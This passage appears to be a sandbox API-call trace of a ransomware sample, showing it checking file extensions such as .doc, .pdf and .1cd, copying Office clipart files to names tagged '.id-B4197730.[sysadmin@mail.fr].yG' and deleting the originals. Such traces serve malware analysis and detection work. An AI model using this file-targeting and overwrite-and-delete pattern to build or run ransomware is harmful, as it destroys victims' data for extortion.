	[0053.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.140] lstrlenW (lpString=".zip") returned 4
	[0053.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.140] lstrlenW (lpString=".rar") returned 4
	[0053.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.140] lstrlenW (lpString=".bz2") returned 4
	[0053.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.140] lstrlenW (lpString=".7z") returned 3
	[0053.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.140] lstrlenW (lpString=".dbf") returned 4
	[0053.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.140] lstrlenW (lpString=".1cd") returned 4
	[0053.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0053.140] lstrlenW (lpString=".jpg") returned 4
	[0053.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.147] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.147] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.147] GetLastError () returned 0x0
	[0053.147] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0053.196] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0053.196] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.196] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.196] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.197] CloseHandle (hObject=0x2e0) returned 1
	[0053.198] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.198] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.199] CloseHandle (hObject=0x2ec) returned 1
	[0053.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0053.200] lstrlenW (lpString=".doc") returned 4
	[0053.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString=".docx") returned 5
	[0053.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.200] lstrlenW (lpString=".pdf") returned 4
	[0053.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString=".xls") returned 4
	[0053.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.200] lstrlenW (lpString=".xlsx") returned 5
	[0053.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.200] lstrlenW (lpString=".ppt") returned 4
	[0053.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0053.200] lstrlenW (lpString=".zip") returned 4
	[0053.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.200] lstrlenW (lpString=".rar") returned 4
	[0053.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString=".bz2") returned 4
	[0053.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString=".7z") returned 3
	[0053.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0053.200] lstrlenW (lpString=".dbf") returned 4
	[0053.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0053.200] lstrlenW (lpString=".1cd") returned 4
	[0053.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68
	[0053.200] lstrlenW (lpString=".jpg") returned 4
	[0053.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.201] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.201] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.201] GetLastError () returned 0x0
	[0053.201] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xc9c, lpOverlapped=0x0) returned 1
	[0053.215] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xca0, lpOverlapped=0x0) returned 1
	[0053.215] ReadFile (in: hFile=0x2ec, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.216] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.216] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.236] CloseHandle (hObject=0x2e0) returned 1
	[0053.236] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.236] SetEndOfFile (hFile=0x2ec) returned 1
	[0053.237] CloseHandle (hObject=0x2ec) returned 1
	[0053.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1
	[0053.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0053.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0053.240] lstrlenW (lpString=".doc") returned 4
	[0053.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString=".docx") returned 5
	[0053.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.240] lstrlenW (lpString=".pdf") returned 4
	[0053.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString=".xls") returned 4
	[0053.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.240] lstrlenW (lpString=".xlsx") returned 5
	[0053.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.240] lstrlenW (lpString=".ppt") returned 4
	[0053.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0053.240] lstrlenW (lpString=".zip") returned 4
	[0053.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.240] lstrlenW (lpString=".rar") returned 4
	[0053.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString=".bz2") returned 4
	[0053.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString=".7z") returned 3
	[0053.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0053.240] lstrlenW (lpString=".dbf") returned 4
	[0053.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0053.240] lstrlenW (lpString=".1cd") returned 4
	[0053.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0053.240] lstrlenW (lpString=".jpg") returned 4
	[0053.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.249] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.249] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.249] GetLastError () returned 0x0
	[0053.249] ReadFile (in: hFile=0x334, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x138c, lpOverlapped=0x0) returned 1
	[0053.271] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1390, lpOverlapped=0x0) returned 1
	[0053.272] ReadFile (in: hFile=0x334, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.272] WriteFile (in: hFile=0x35c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.272] SetEndOfFile (hFile=0x35c) returned 1
	[0053.272] CloseHandle (hObject=0x35c) returned 1
	[0053.273] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.273] SetEndOfFile (hFile=0x334) returned 1
	[0053.273] CloseHandle (hObject=0x334) returned 1
	[0053.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1
	[0053.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0053.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0053.277] lstrlenW (lpString=".doc") returned 4
	[0053.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.277] lstrlenW (lpString=".docx") returned 5
	[0053.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.277] lstrlenW (lpString=".pdf") returned 4
	[0053.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.277] lstrlenW (lpString=".xls") returned 4
	[0053.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.277] lstrlenW (lpString=".xlsx") returned 5
	[0053.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.277] lstrlenW (lpString=".ppt") returned 4
	[0053.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0053.277] lstrlenW (lpString=".zip") returned 4
	[0053.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.277] lstrlenW (lpString=".rar") returned 4
	[0053.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.277] lstrlenW (lpString=".bz2") returned 4
	[0053.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.277] lstrlenW (lpString=".7z") returned 3
	[0053.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0053.277] lstrlenW (lpString=".dbf") returned 4
	[0053.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0053.278] lstrlenW (lpString=".1cd") returned 4
	[0053.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0053.278] lstrlenW (lpString=".jpg") returned 4
	[0053.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.284] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.284] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.285] GetLastError () returned 0x0
	[0053.285] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1306, lpOverlapped=0x0) returned 1
	[0053.303] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1310, lpOverlapped=0x0) returned 1
	[0053.304] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.304] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.304] SetEndOfFile (hFile=0x348) returned 1
	[0053.304] CloseHandle (hObject=0x348) returned 1
	[0053.305] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.305] SetEndOfFile (hFile=0x350) returned 1
	[0053.306] CloseHandle (hObject=0x350) returned 1
	[0053.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1
	[0053.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0053.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0053.307] lstrlenW (lpString=".doc") returned 4
	[0053.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.307] lstrlenW (lpString=".docx") returned 5
	[0053.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.307] lstrlenW (lpString=".pdf") returned 4
	[0053.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.307] lstrlenW (lpString=".xls") returned 4
	[0053.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.307] lstrlenW (lpString=".xlsx") returned 5
	[0053.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.307] lstrlenW (lpString=".ppt") returned 4
	[0053.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0053.307] lstrlenW (lpString=".zip") returned 4
	[0053.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.269] lstrlenW (lpString=".rar") returned 4
	[0054.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.269] lstrlenW (lpString=".bz2") returned 4
	[0054.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.269] lstrlenW (lpString=".7z") returned 3
	[0054.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0054.269] lstrlenW (lpString=".dbf") returned 4
	[0054.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0054.269] lstrlenW (lpString=".1cd") returned 4
	[0054.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68
	[0054.270] lstrlenW (lpString=".jpg") returned 4
	[0054.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.270] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.270] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0054.270] GetLastError () returned 0x0
	[0054.270] ReadFile (in: hFile=0x2fc, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x27a2, lpOverlapped=0x0) returned 1
	[0054.284] WriteFile (in: hFile=0x390, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x27b0, lpOverlapped=0x0) returned 1
	[0054.285] ReadFile (in: hFile=0x2fc, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.285] WriteFile (in: hFile=0x390, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.285] SetEndOfFile (hFile=0x390) returned 1
	[0054.285] CloseHandle (hObject=0x390) returned 1
	[0054.286] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.286] SetEndOfFile (hFile=0x2fc) returned 1
	[0054.287] CloseHandle (hObject=0x2fc) returned 1
	[0054.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1
	[0054.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0054.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0054.287] lstrlenW (lpString=".doc") returned 4
	[0054.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString=".docx") returned 5
	[0054.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.288] lstrlenW (lpString=".pdf") returned 4
	[0054.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString=".xls") returned 4
	[0054.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.288] lstrlenW (lpString=".xlsx") returned 5
	[0054.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.288] lstrlenW (lpString=".ppt") returned 4
	[0054.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0054.288] lstrlenW (lpString=".zip") returned 4
	[0054.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.288] lstrlenW (lpString=".rar") returned 4
	[0054.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString=".bz2") returned 4
	[0054.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString=".7z") returned 3
	[0054.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0054.288] lstrlenW (lpString=".dbf") returned 4
	[0054.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0054.288] lstrlenW (lpString=".1cd") returned 4
	[0054.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0054.288] lstrlenW (lpString=".jpg") returned 4
	[0054.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
